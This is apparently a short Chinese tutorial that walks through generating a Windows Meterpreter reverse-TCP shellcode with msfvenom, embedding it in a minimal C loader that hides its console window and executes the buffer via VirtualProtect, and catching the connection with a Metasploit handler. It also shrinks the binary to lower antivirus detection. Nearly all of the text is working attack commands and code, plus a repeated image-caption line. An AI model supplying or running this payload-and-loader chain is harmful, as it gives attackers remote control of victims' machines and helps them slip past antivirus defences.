1.生成ShellCode
[root@localhost ~]# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' LHOST=192.168.1.30 LPORT=9999 -f c
2.替换ShellCode
#pragma comment(linker,"/INCREMENTAL:NO") // 减小编译体积
#pragma comment(linker, "/section:.data,RWE") // 启用数据段可读写
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 隐藏控制台CMD窗体
#include <windows.h>
int main(void)
{
char *buff = (char*)"此处填写ShellCode";
DWORD ShellCode;
BOOL ret = VirtualProtect(buff, strlen(buff),PAGE_EXECUTE_READWRITE, &ShellCode);
if (!ret) { return EXIT_FAILURE; }
((void(*)(void))buff)();
return EXIT_SUCCESS;
}
3.MSF监听事件。
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit -j -z
打开VS新建一个项目,这里我们要选择控制台项目,然后选择空项目,将上面的对勾全部去掉。
ShellCode 最小化编译优化
粘贴并替换好,生成的ShellCode代码,然后编译代码,观察代码大小。
ShellCode 最小化编译优化
ShellCode 最小化编译优化
ShellCode 最小化编译优化
ShellCode 最小化编译优化
ShellCode 最小化编译优化
ShellCode 最小化编译优化
ShellCode 最小化编译优化
ShellCode 最小化编译优化
ShellCode 最小化编译优化
ShellCode 最小化编译优化
经过上方编译优化,大小从原来的70KB缩减至 10KB,查杀结果如下。
ShellCode 最小化编译优化
|